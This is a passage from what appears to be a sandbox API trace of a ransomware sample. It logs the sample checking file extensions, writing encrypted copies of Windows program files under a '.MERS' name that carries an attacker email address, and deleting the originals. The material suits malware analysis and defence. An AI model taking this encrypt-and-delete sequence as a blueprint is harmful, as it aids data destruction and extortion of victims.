(lpString=".rar") returned 4 [0049.447] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString=".bz2") returned 4 [0049.448] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.448] lstrlenW (lpString=".7z") returned 3 [0049.448] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString=".dbf") returned 4 [0049.448] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString=".1cd") returned 4 [0049.448] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString=".jpg") returned 4 [0049.448] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString=".doc") returned 4 [0049.448] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.448] lstrlenW (lpString=".docx") returned 5 [0049.448] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.448] lstrlenW (lpString=".pdf") returned 4 [0049.448] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString=".xls") returned 4 [0049.448] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString=".xlsx") returned 5 [0049.448] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.448] lstrlenW (lpString=".ppt") returned 4 [0049.448] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.448] lstrlenW (lpString=".zip") returned 4 [0049.448] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString=".rar") returned 4 [0049.448] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.448] lstrlenW (lpString=".bz2") returned 4 [0049.448] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.448] lstrlenW (lpString=".7z") returned 3 [0049.448] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.449] lstrlenW (lpString=".dbf") returned 4 [0049.449] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.449] lstrlenW (lpString=".1cd") returned 4 [0049.449] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.449] lstrlenW (lpString=".jpg") returned 4 [0049.449] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.449] lstrcmpiW (lpString1=".sys", lpString2=".MERS") returned 1 [0049.449] lstrlenW (lpString="pagefile.sys") returned 12 [0049.449] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.449] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.449] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.449] lstrlenW (lpString=".doc") returned 4 [0049.449] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0049.449] lstrlenW (lpString=".docx") returned 5 [0049.449] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0049.449] lstrlenW (lpString=".pdf") returned 4 [0049.449] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0049.449] lstrlenW (lpString=".xls") returned 4 [0049.449] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0049.449] lstrlenW (lpString=".xlsx") returned 5 [0049.449] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0049.449] lstrlenW (lpString=".ppt") returned 4 [0049.449] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0049.449] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.449] lstrlenW (lpString=".zip") returned 4 [0049.449] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0049.449] lstrlenW (lpString=".rar") returned 4 [0049.449] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0049.449] lstrlenW (lpString=".bz2") returned 4 [0049.450] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString=".7z") returned 3 [0049.450] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".dbf") returned 4 [0049.450] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".1cd") returned 4 [0049.450] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".jpg") returned 4 [0049.450] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".doc") returned 4 [0049.450] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString=".docx") returned 5 [0049.450] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0049.450] lstrlenW (lpString=".pdf") returned 4 [0049.450] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString=".xls") returned 4 [0049.450] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0049.450] lstrlenW (lpString=".xlsx") returned 5 [0049.450] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0049.450] lstrlenW (lpString=".ppt") returned 4 [0049.450] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".zip") returned 4 [0049.450] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0049.450] lstrlenW (lpString=".rar") returned 4 [0049.450] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString=".bz2") returned 4 [0049.450] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0049.450] lstrlenW (lpString=".7z") returned 3 [0049.450] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0049.450] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.450] lstrlenW (lpString=".dbf") returned 4 [0049.451] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0049.451] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.451] lstrlenW (lpString=".1cd") returned 4 [0049.451] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0049.451] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0049.451] lstrlenW (lpString=".jpg") returned 4 [0049.451] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0049.451] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0049.451] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0049.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.458] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=99136) returned 1 [0049.458] CloseHandle (hObject=0x200) returned 1 [0049.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0049.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.458] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.458] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.459] GetLastError () returned 0x0 [0049.459] ReadFile (in: hFile=0x200, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x18340, lpOverlapped=0x0) returned 1 [0049.540] WriteFile (in: hFile=0x204, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0049.557] ReadFile (in: hFile=0x200, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.557] WriteFile (in: hFile=0x204, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.557] SetEndOfFile (hFile=0x204) returned 1 [0049.557] CloseHandle (hObject=0x204) returned 1 [0049.557] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.557] SetEndOfFile (hFile=0x200) returned 1 [0049.559] CloseHandle (hObject=0x200) returned 1 [0049.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0049.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.560] lstrlenW (lpString=".doc") returned 4 [0049.560] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.560] lstrlenW (lpString=".docx") returned 5 [0049.560] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0049.560] lstrlenW (lpString=".pdf") returned 4 [0049.560] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.560] lstrlenW (lpString=".xls") returned 4 [0049.560] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.560] lstrlenW (lpString=".xlsx") returned 5 [0049.560] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0049.560] lstrlenW (lpString=".ppt") returned 4 [0049.560] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.560] lstrlenW (lpString=".zip") returned 4 [0049.560] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString=".rar") returned 4 [0049.561] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString=".bz2") returned 4 [0049.561] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.561] lstrlenW (lpString=".7z") returned 3 [0049.561] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.561] lstrlenW (lpString=".dbf") returned 4 [0049.561] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.561] lstrlenW (lpString=".1cd") returned 4 [0049.561] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.561] lstrlenW (lpString=".jpg") returned 4 [0049.561] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.561] lstrlenW (lpString=".doc") returned 4 [0049.561] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString=".docx") returned 5 [0049.561] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0049.561] lstrlenW (lpString=".pdf") returned 4 [0049.561] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString=".xls") returned 4 [0049.561] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.561] lstrlenW (lpString=".xlsx") returned 5 [0049.562] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0049.562] lstrlenW (lpString=".ppt") returned 4 [0049.562] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.562] lstrlenW (lpString=".zip") returned 4 [0049.562] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.562] lstrlenW (lpString=".rar") returned 4 [0049.562] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.562] lstrlenW (lpString=".bz2") returned 4 [0049.562] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.562] lstrlenW (lpString=".7z") returned 3 [0049.562] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.562] lstrlenW (lpString=".dbf") returned 4 [0049.562] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.562] lstrlenW (lpString=".1cd") returned 4 [0049.562] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0049.562] lstrlenW (lpString=".jpg") returned 4 [0049.562] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.562] lstrcmpiW (lpString1=".EXE", lpString2=".MERS") returned -1 [0049.562] lstrlenW (lpString="DW20.EXE") returned 8 [0049.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.876] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=994184) returned 1 [0049.876] CloseHandle (hObject=0x200) returned 1 [0049.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0049.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.876] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.877] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0049.877] GetLastError () returned 0x0 [0049.878] ReadFile (in: hFile=0x200, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0050.257] WriteFile (in: hFile=0x224, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0050.271] ReadFile (in: hFile=0x200, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.271] WriteFile (in: hFile=0x224, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0050.271] SetEndOfFile (hFile=0x224) returned 1 [0050.271] CloseHandle (hObject=0x224) returned 1 [0050.271] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.271] SetEndOfFile (hFile=0x200) returned 1 [0050.278] CloseHandle (hObject=0x200) returned 1 [0050.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0050.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.447] lstrlenW (lpString=".doc") returned 4 [0050.447] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.447] lstrlenW (lpString=".docx") returned 5 [0050.448] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0050.448] lstrlenW (lpString=".pdf") returned 4 [0050.448] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString=".xls") returned 4 [0050.448] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString=".xlsx") returned 5 [0050.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0050.448] lstrlenW (lpString=".ppt") returned 4 [0050.448] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString=".zip") returned 4 [0050.448] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString=".rar") returned 4 [0050.448] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString=".bz2") returned 4 [0050.448] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.448] lstrlenW (lpString=".7z") returned 3 [0050.448] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString=".dbf") returned 4 [0050.448] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString=".1cd") returned 4 [0050.448] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString=".jpg") returned 4 [0050.448] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.448] lstrlenW (lpString=".doc") returned 4 [0050.448] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.448] lstrlenW (lpString=".docx") returned 5 [0050.448] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0050.448] lstrlenW (lpString=".pdf") returned 4 [0050.448] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.448] lstrlenW (lpString=".xls") returned 4 [0050.448] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.449] lstrlenW (lpString=".xlsx") returned 5 [0050.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0050.449] lstrlenW (lpString=".ppt") returned 4 [0050.449] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.449] lstrlenW (lpString=".zip") returned 4 [0050.449] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.449] lstrlenW (lpString=".rar") returned 4 [0050.449] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.452] lstrlenW (lpString=".bz2") returned 4 [0050.452] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.452] lstrlenW (lpString=".7z") returned 3 [0050.452] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.453] lstrlenW (lpString=".dbf") returned 4 [0050.453] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.453] lstrlenW (lpString=".1cd") returned 4 [0050.453] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0050.453] lstrlenW (lpString=".jpg") returned 4 [0050.453] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.453] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0050.453] lstrlenW (lpString="offfiltx.dll") returned 12 [0050.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.695] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1486736) returned 1 [0050.696] CloseHandle (hObject=0x204) returned 1 [0050.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0050.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.696] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.696] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.696] GetLastError () returned 0x0 [0050.696] ReadFile (in: hFile=0x204, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x314fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.798] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, 